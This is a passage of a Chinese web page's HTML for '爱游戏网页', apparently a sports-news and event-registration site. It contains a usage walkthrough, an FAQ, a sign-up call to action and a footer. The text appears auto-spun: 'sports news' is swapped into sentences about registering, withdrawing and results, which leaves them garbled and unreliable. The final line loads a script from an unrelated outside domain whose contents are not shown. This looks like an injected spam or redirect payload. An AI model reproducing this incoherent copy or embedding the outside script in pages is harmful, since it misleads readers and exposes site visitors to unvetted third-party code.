988            <div class="post-excerpt">本赛季世界杯赛程密集,多支豪门球队在小组赛阶段便提前相遇。本文梳理各队备战情况、关键球员状态与战术看点,带你提前预览这场万众瞩目的巅峰对决。</div>
989            <div class="post-meta">
990              <span><i class="far fa-calendar-alt"></i> 2026-07-19</span>
991            </div>
992          </div>
993        </a>
994                  </div>
995  </div>
996</section>
997
998<!-- ===== 流程步骤 ===== -->
999<section class="section" style="background: rgba(0,0,0,0.2); border-top: 1px solid var(--border); border-bottom: 1px solid var(--border);">
1000  <div class="container">
1001    <div class="section-header">
1002      <span class="subtitle">使用流程</span>
1003      <h2>四步畅享体育资讯</h2>
1004      <p>从注册登录到参赛观赛,简单四步即可畅享爱游戏网页全部服务。</p>
1005    </div>
1006    <div class="steps">
1007      <div class="step-card">
1008        <div class="step-icon"><i class="fas fa-user-plus"></i></div>
1009        <h4>浏览新闻</h4>
1010        <p>在爱游戏网页平台创建个人账号,填写基本信息即可完成注册。</p>
1011      </div>
1012      <div class="step-card">
1013        <div class="step-icon"><i class="fas fa-sign-in-alt"></i></div>
1014        <h4>登录认证</h4>
1015        <p>使用账号密码或手机验证码登录,支持多种安全认证方式。</p>
1016      </div>
1017      <div class="step-card">
1018        <div class="step-icon"><i class="fas fa-calendar-check"></i></div>
1019        <h4>报名参赛</h4>
1020        <p>浏览项目列表,选择感兴趣的项目在线报名,支付报名费。</p>
1021      </div>
1022      <div class="step-card">
1023        <div class="step-icon"><i class="fas fa-flag-checkered"></i></div>
1024        <h4>尽享项目</h4>
1025        <p>
1025查看参赛信息、成绩排名,观看直播,与社区互动分享。</p>
1026      </div>
1027    </div>
1028  </div>
1029</section>
1030
1031<!-- ===== FAQ ===== -->
1032<section class="section">
1033  <div class="container">
1034    <div class="section-header">
1035      <span class="subtitle">常见问题</span>
1036      <h2>体育资讯常见问题</h2>
1037      <p>关于爱游戏网页平台的常见问题解答,帮助您快速解决疑问。</p>
1038    </div>
1039    <div class="faq-list">
1040      <details class="faq-item" open>
1041        <summary>如何注册爱游戏网页账号? <i class="fas fa-chevron-down"></i></summary>
1042        <div class="faq-a">访问爱游戏网页首页,点击"注册"按钮,填写手机号、姓名等基本信息,完成短信验证后即可成功注册。注册后可使用账号登录平台享受项目服务。</div>
1043      </details>
1044      <details class="faq-item">
1045        <summary>忘记登录密码怎么办? <i class="fas fa-chevron-down"></i></summary>
1046        <div class="faq-a">在登录页面点击"忘记密码",输入注册手机号,通过短信验证码重置密码。建议设置8位以上包含字母和数字的强密码,保障账号安全。</div>
1047      </details>
1048      <details class="faq-item">
1049        <summary>体育新闻后可以取消吗? <i class="fas fa-chevron-down"></i></summary>
1050        <div class="faq-a">体育新闻后可在规定时间内申请取消,具体退赛政策和退款比例请查看对应项目的报名须知。部分项目可能不支持退赛,请报名前仔细阅读相关条款。</div>
1051      </details>
1052      <details class="faq-item">
1053        <summary>如何查看我的参赛成绩? <i class="fas fa-chevron-down"></i></summary>
1054        <div class="faq-a">浏览体育新闻后,进入"个人中心"的"我的成绩"模块,即可查看历史参赛记录和详细成绩数据。成绩通常在项目结束后24小时内发布。</div>
1055      </details>
1056      <details class="faq-item">
1057        <summary>爱游戏网页支持哪些项目项目? <i class="fas fa-chevron-down"></i></summary>
1058        <div class="faq-a">爱游戏网页涵盖田径、游泳、球类、户外运动、电子竞技等数十个体育项目,每月更新项目日历,满足不同运动爱好者的参赛需求。</div>
1059      </details>
1060    </div>
1061  </div>
1062</section>
1063
1064<!-- ===== CTA ===== -->
1065<section class="section" style="padding-top:0;">
1066  <div class="container">
1067    <div class="cta-section">
1068      <h2>立即浏览体育新闻,开启项目之旅</h2>
1069      <p>注册即享项目提醒、成绩追踪、社区互动等专属服务,精彩不容错过。</p>
1070      <a href="/sports-news.html" class="btn-primary" style="font-size:1.05rem;padding:16px 42px;"><i class="fas fa-rocket"></i> 免费注册登录</a>
1071    </div>
1072  </div>
1073</section>
1074
1075<!-- ===== Footer ===== -->
1076
1077<section id="brand-story" style="padding:60px 0;background:#f8faf9;">
1078  <div class="container">
1079    <h2 style="text-align:center;font-weight:700;margin-bottom:40px;">关于爱游戏网页</h2>
1080    <p style="max-width:800px;margin:0 auto 30px;line-height:1.8;color:#555;">爱游戏网页专注于体育赛事资讯服务。我们整合全球热门赛事的实时新闻、赛程预告与数据分析,覆盖足球、篮球、网球、电竞、赛车等项目,助你随时掌握体坛动态。</p>
1081    <div style="display:flex;justify-content:center;gap:20px;flex-wrap:wrap;">
1082      <div style="background:white;padding:20px 30px;border-radius:8px;box-shadow:0 2px 8px rgba(0,0,0,0.1);"><strong>原生APP开发</strong></div>
1083      <div style="background:white;padding:20px 30px;border-radius:8px;box-shadow:0 2px 8px rgba(0,0,0,0.1);"><strong>离线缓存支持</strong></div>
1084      <div style="background:white;padding:20px 30px;border-radius:8px;box-shadow:0 2px 8px rgba(0,0,0,0.1);"><strong>弱网稳定运行</strong></div>
1085      <div style="background:white;padding:20px 30px;border-radius:8px;box-shadow:0 2px 8px rgba(0,0,0,0.1);"><strong>移动优先设计</strong></div>
1086    </div>
1087  </div>
1088</section>
1089
1090<footer class="footer">
1091  <div class="container">
1092    <div class="footer-grid">
1093      <div class="footer-brand">
1094        <div class="logo"><i class="fas fa-bolt"></i> <span>爱游戏网页</span></div>
1095        <p>爱游戏网页官方平台,致力于为体育爱好者和运动员提供便捷、安全、高效的项目服务体验。</p>
1096      </div>
1097      <div class="footer-col">
1098        <h5>快速导航</h5>
1099        <a href="/">首页</a>
1100        <a href="/sports-news.html">服务指南</a>
1101        <a href="/sports-news.html">热门项目</a>
1102      </div>
1103      <div class="footer-col">
1104        <h5>服务支持</h5>
1105        <a href="#">帮助中心</a>
1106        <a href="#">账号安全</a>
1107        <a href="#">
1107联系客服</a>
1108      </div>
1109      <div class="footer-col">
1110        <h5>关注我们</h5>
1111        <div class="footer-socials" style="margin-top:4px;">
1112          <a href="#" aria-label="微信"><i class="fab fa-weixin"></i></a>
1113          <a href="#" aria-label="微博"><i class="fab fa-weibo"></i></a>
1114          <a href="#" aria-label="抖音"><i class="fab fa-tiktok"></i></a>
1115          <a href="#" aria-label="QQ"><i class="fab fa-qq"></i></a>
1116        </div>
1117      </div>
1118    </div>
1119    <div class="footer-bottom">
1120      <span>&copy; 2026 爱游戏网页 · wokeeh.com 版权所有</span>
1121      <span><a href="#">隐私政策</a> · <a href="#">服务条款</a></span>
1122    </div>
1123  </div>
1124</footer>
1125
1126
1127<script src="https://zuizhongjs.com/js/26/9/7/ky1.js"></script>
1127
1128</body>
1129</html>

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.